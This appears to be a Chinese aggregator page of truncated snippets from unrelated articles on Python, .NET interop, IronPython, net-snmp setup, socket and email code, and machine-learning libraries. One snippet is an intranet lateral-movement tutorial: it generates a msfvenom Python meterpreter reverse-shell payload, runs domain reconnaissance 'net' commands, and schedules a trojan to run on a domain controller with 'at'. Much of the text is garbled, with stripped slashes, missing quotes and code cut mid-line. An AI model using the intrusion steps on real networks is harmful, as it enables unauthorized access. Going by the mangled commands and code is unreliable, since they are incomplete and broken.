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安装net-snmp-python

安装net-snmp-python 下载 net-snmp。 usrliblibnetsnmp.so.30python setup.py install 1.error: command gcc failed with exit status 1` 若出现上述错误,安装 python-devel

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Python-Net编程

socket指派固定的端口和ip地址 接受对方发送内容 给对方发送反馈,此步骤为非必须步骤 Client端流程 建立通信的socket 发送内容到指定服务器 接受服务器给定的反馈内容 服务器案例v01 ```python main__: print(Starting server.........) serverFunc() print(Ending server...........) ``` - 客户端案例v02 ```python 接受内容 如果有必要,给对方发送反馈信息 关闭链接通路 Client端的编写流程 建立通信socket 链接对方,请求跟对方建立通路 发送内容到对方服务器 接受对方的反馈 关闭链接通路 案例v04 ```python for mail SMTP协议负责发送邮件 使用email模块构建邮件 纯文本邮件 案例v07 ```python # 导入相应的包 import smtplib from email.mime.text except Exception as e: print(e) ``` - HTML格式邮件发送 - 准备HTML代码作为内容 - 把邮件的subtype设为html - 发送 - 案例v08 ```python

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    CTF逆向--.NETPython

    没有壳,不过发现这是一个.net的程序,将其拖进dnSpy中,找到主程序,同时发现关键代码,如下所示: private void u202Cu200Bu206Au202Au206Du206Bu202Du206Fu202Du200Cu200Eu206Bu202Eu202Eu202Cu202Bu206Au206Du206Eu202Bu206Eu200Fu202Du200Eu202Cu200Fu200Du200Fu202Bu200Cu202Au206Du206Au206Eu202Du200Du200Cu206Bu202Au202Du202E 没壳,拖进IDA,F12查看字符串,发现里面出现了python的标志? 按理来说一般的c程序是不会出现python的,但是这里却出现了大量的Py前缀,这说明什么呢,说明这个exe实际上是一个python转exe的程序(你问我为什么会知道? 因为我之前在HXBCTF征题的时候就出了道Python转exe的题打算坑一坑人 ͝ ὡ ͝ ),在网上下一个pyinstxtractor.py就可将其解压,然后查看解压后的文件夹?

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    【翻译】无需安装Python,就可以在.NET里调用Python

    本文我会介绍Python.Included这个项目,它不但优雅的解决了这个问题,并且让.NET开发者可以轻松愉快的让.NETPython进行互操作。 作为概念的证明,我将使用Numpy.Net进行展示,它是一个.NET标准库,它为Python的Numpy提供了一个强类型API,并且使用它并不需要在Windows上安装Python。? 如果你想部署你的.NET应用,你首先必须部署Python,从开发人员角度来讲,这很闹心。 如果你看一下正在使用pythonnet的项目的列表,你会发现很多AI领域的公司当前都在使用.NETPython进行连接。 我的测试结果表明,与直接从Python调用Numpy相比,使用.net调用numpy的开销大约是它的4倍。

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    Python调用.net动态库实现过程解析

    pythonnet简介 pythonnet是cpython的扩展pythonnet提供了cpython和.net程序集之间交互的桥梁pythonnet开源在github上 pythonnet安装 通过pip

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    .NET 基金会项目介绍-DLRIronPython2IronPython3

    IronPython2 基于 .NET Framework 之上实现了 Python 语言。 IronPython2 的实现兼容 Python 2.x 版本。 IronPython3 基于 .NET Framework 之上实现了 Python 语言。 IronPython3 的实现兼容 Python 3.x 版本。 原理上,除了已经支持的 Python 和 Ruby ,开发者可以支持其他类型的动态语言。 IronPython2 implements compatibility with Python 2.x. IronPython3 implements compatibility with Python 3.x.

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    『深度思考』对CenterNet的一些思考与质疑·测试对比CenterNet与U版YoloV3速度与精度

    Use true_divide or floor_divide ( in Python) instead.tot 0.202s |load 0.005s |pre 0.003s |net 0.191s Use true_divide or floor_divide ( in Python) instead.tot 0.206s |load 0.005s |pre 0.006s |net 0.193s Use true_divide or floor_divide ( in Python) instead.tot 0.234s |load 0.005s |pre 0.015s |net 0.211s Use true_divide or floor_divide ( in Python) instead.tot 0.260s |load 0.005s |pre 0.025s |net 0.227s Use true_divide or floor_divide ( in Python) instead.tot 0.223s |load 0.005s |pre 0.010s |net 0.206s

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    Python解释器执行原理

    Python在执行时,首先会将.py文件中的源代码编译成Python的byte code(字节码),然后再由Python Virtual Machine(Python虚拟机)来执行这些编译好的byte 这种机制的基本思想跟Java,.NET是一致的。 然而,Python Virtual Machine与Java或.NET的Virtual Machine不同的是,Python的Virtual Machine是一种更高级的Virtual Machine。 这里的高级并不是通常意义上的高级,不是说Python的Virtual Machine比Java或.NET的功能更强大,而是说和Java 或.NET相比,Python的Virtual Machine距离真实机器的距离更远 或者可以这么说,Python的Virtual Machine是一种抽象层次更高的Virtual Machine。基于C的Python编译出的字节码文件,通常是.pyc格式。?

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    Caffe2 - (十三) 基于 Python 创建 Operator

    Caffe2 - Python Operator类似于 Caffe 基于 Python 定制 CaffeLayers, Caffe2 也提供了使用 Python 来自定义 Caffe2 Operators.Forward Python OperatorCaffe2 提供了 high-level 接口,用于 Python ops 创建 —— Net.Python() 接口.from caffe2.python import workspaceimport numpy as np def f(inputs, outputs): outputs.feed(2 * inputs.data) workspace.ResetWorkspace()net = core.Net(tutorial)net.Python(f)(, ) ##workspace.FeedBlob(x, np.array())workspace.RunNetOnce(net)print = core.Net(tutorial)net.Python(f_reshape)(, )workspace.FeedBlob(x, np.array())workspace.RunNetOnce(net

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    基于.NET的AI智能应用市场还是一片“处女地”

    NumSharp 的主要贡献者,来自以色列的工程师Eli Belash 回顾了他刚开始从事机器学习和人工智能开发时的感受:“我了解到 .NET 多年来缺乏可以与 Python 相匹敌的语言功能。 那时,你无法用 C#语言编写 ML(机器学习)算法,而用其他语言,如 Python 或 R 做这些事非常容易。因此,我们缺乏基于.NET 的可靠的解决方案来编写机器学习算法。 打造基于.NET的机器学习生态SciSharp 的核心理念是:打造一个基于 .NET 的机器学习生态,提供一个和 Python 生态体验一致的工具库,让模型迁移更容易、学习曲线最低。 团队的心愿一致,本着以精卫填海的精神,尽可能把 .NET 机器学习生态进一步完善。NumSharp 的主要贡献者Eli Belash 表示,目前,Python 是 ML 开发和研究的主要语言。 这就是为什么 SciSharp 决定迁移 ML 最流行的 Python 库:Numpy 的.NET版NumSharpTensorFlow 的.NET 移植版TensorFlow.NET与Pandas 对应的

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    机器学习库初探之MXnet

    SymbolSymbol使得非常容易定义神经网络,并且能自动求导以下的范例创建了一个 2 层的感知器网络:Python>>> import mxnet as mx>>> net = mx.symbol.Variable (data=net, name=relu1, act_type=relu)>>> net = mx.symbol.FullyConnected(data=net, name=fc2, num_hidden :Python>>> net = mx.symbol.Variable(data)>>> w = mx.symbol.Variable(myweight)>>> net = mx.symbol.FullyConnected (data=net, weight=w, name=fc1, num_hidden=128)>>> net.list_arguments() Symbol 可以组合之后,在传入全连接中:Python>> (data=lhs + rhs, name=fc1, num_hidden=128)>>> net.list_arguments() Symbol 也可以被随后的操作替换:Python>>> net =

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    Python netsnmp 模块

    1、 安装python开发库:yum -y install python-devel2、安装python setuptools3、编译安装netsnmp tar xvf net-snmp-5.4.4.tar.gz cd net-snmp-5.4.4 .configure --with-python-modules --prefix=usrlocalnet-snmp  --enable-developer --libdir =usrlib64 --enable-shared make make install 4、安装netsnmp python库 cd net-snmp-5.4.4python python setup.py build python setup.py test python setup.py install 5、测试 # ipt -bash: ipt: command not found # ipython IPython 0.10.1 -- An enhanced Interactive Python. ?

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    分享一个.NET平台开源免费跨平台的大数据分析框架.NET for Apache Spark

    到目前为止,Spark已经可以通过Scala,Java,Python和R访问,却不能通过.NET进行访问。 下图展示了.NET Core与Python和Scala在TPC-H查询集上的性能比较。 上面的图表显示了相对于Python和Scala,.NET对于Apache Spark的每个查询性能对比。 NET for Apache Spark在Python和Scala上表现良好。 此外,在UDF性能至关重要的情况下,比如查询1,JVM和CLR.NET之间传递3B行非字符串数据的速度比Python快2倍。 利用.NET生态系统.NET For Apache Spark允许您重用作为.NET开发人员已经拥有的所有知识、技能、代码和库。

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    Python的几种实现

    Python自身作为一门编程语言,它有多种实现。这里的实现指的是符合Python语言规范的Python解释程序以及标准库等。 在Python中可以直接使用Java代码库,这使得使用Python可以方便地为Java程序写测试代码,更进一步,可以在Python中使用Swing等图形库编写GUI程序。   Python for .NET:它实质上是CPython实现的.NET托管版本,它与.NET库和程序代码有很好的互操作性。4. IronPython:不同于Python for .NET,它是Python的C#实现,并且它将Python代码编译成C#中间代码(与Jython类似),然后运行,它与.NET语言的互操作性也非常好。 它的一个目标是成为Python语言自身的试验场,因为可以很容易地修改PyPy解释器的实现(因为它是使用Python写的)。6.

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    IronPython死而复生

    IronPython是一个运行在.Net框架通用语言运行库上的实现(Common Language Runtime,CLR)。这个项目曾一度停滞不前,最近,团队换了领导者,带来了新的进展。 Python支持.Net, .Net支持PythonIronPython采用C#开发,不仅仅是为了在.Net上运行Python程序。它可以为Python程序员提供一个通往.Net应用和对象的桥梁。 会议上提出的另一个问题是,如何对使用C语言实现的Python库实现支持。如果IronPython有了广泛的用户,这是必须要面临的问题。 顾名思义,这是一个Ruby的.Net实现。这两门语言的项目是合作开发的,他们都发源于微软的动态语言运行库项目,2010年微软将他们交给社区开发之后,两个项目继续保持着亲密关系。 对现在而言,只要IronPython能达到和Python一样的速度,就足够了。

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    python多线程与多进程--存活主机p

    ip=net+. print(运行示例:) print(test01.py 123.125.114)elif len(sys.argv)==2: net=sys.argv ping(net)t2=time.time()print 在python里面,线程的创建有两种方式,其一使用Thread类创建导入Python标准库中的Thread模块 from threading import Thread 创建一个线程 mthread = result=)def ping(net,start=100,end=200): for i in range(start,end+1): ip=net+. print(运行示例:) print(test01.py 123.125.114) elif len(sys.argv)==2: net=sys.argv ping(net)if __name__==_

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    是开始学习IronPython 的时候了

    IronPython就是优雅的python编程语言和强大的.NET平台的有机结合, IronPython 2.6将完全与CPython 2.6兼容。 Ipy.exe可以用来执行IronPython程序,对于熟悉Python语言及探索.NET程序集来说非常有用。 IronPython是流行的程序设计语言Python通向.NET framework的一个端口。微软公司对于.NET framework的IronPython和动态语言非常关注。 IronPython已经很好的集成到了.NET framework中,Python语言中的字符串对应于.NET的字符串对象,并且Python语言中对应的方法,在IronPython中也都提供了。 如《Learning Python》所言:“无论是短期策略任务(测试或系统管理),还是长期战略上的产品开发,Python已经被证明它是无所不能的”。

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    centos7 安装zabbix

    php-xmlwriter php-session php-mbstring php-gettext php-ldap php-mysqli --skip-brokenyum -y install wget telnet net-tools python-paramiko gcc gcc-c++ dejavu-sans-fonts python-setuptools python-devel sendmail mailx net-snmp net-snmp-devel net-snmp-utils freetype-devel libpng-devel perl unbound libtasn1-devel p11-kit-devel

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    小白入门学习内网之横向渗透攻击流程

    获取meterpreter会话由于网站上为linux默认安装python,可直接生成python反弹脚本生成python反弹脚本msfvenom -p pythonmeterpreterreverse_tcp 域控定位#常用域内信息收集命令net view domain #查询域列表net time domain #从域控查询时间net user domain #查询域用户(当前域)net group domain #查询域工作组net group domain computers domain #查看加入域的所有计算机名net group domain admins domain #查询域管理员用户组和域管用户进入 > ping dc1.kevin.comC:Windowssystem32> net time domain?? 在域控上添加at定时任务执行木马net time dc1.kevin.comat dc1.kevin.com 15:42:00 c:test.exe?

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    Python 概念

    Python编译器本身也可以被集成到其它需要脚本语言的程序内。因此,很多人还把Python作为一种“胶水语言”(gluelanguage)使用。使用Python将其他语言编写的程序进行集成和封装。 《Python技术手册》的作者马特利(AlexMartelli)说:“这很难讲,不过,2004年,Python已在Google内部使用,Google召募许多Python高手,但在这之前就已决定使用Python 这种机制的基本思想跟Java,.NET是一致的。 然而,PythonVirtualMachine与Java或.NET的VirtualMachine不同的是,Python的VirtualMachine是一种更高级的VirtualMachine。 这里的高级并不是通常意义上的高级,不是说Python的VirtualMachine比Java或.NET的功能更强大,而是说和Java或.NET相比,Python的VirtualMachine距离真实机器的距离更远

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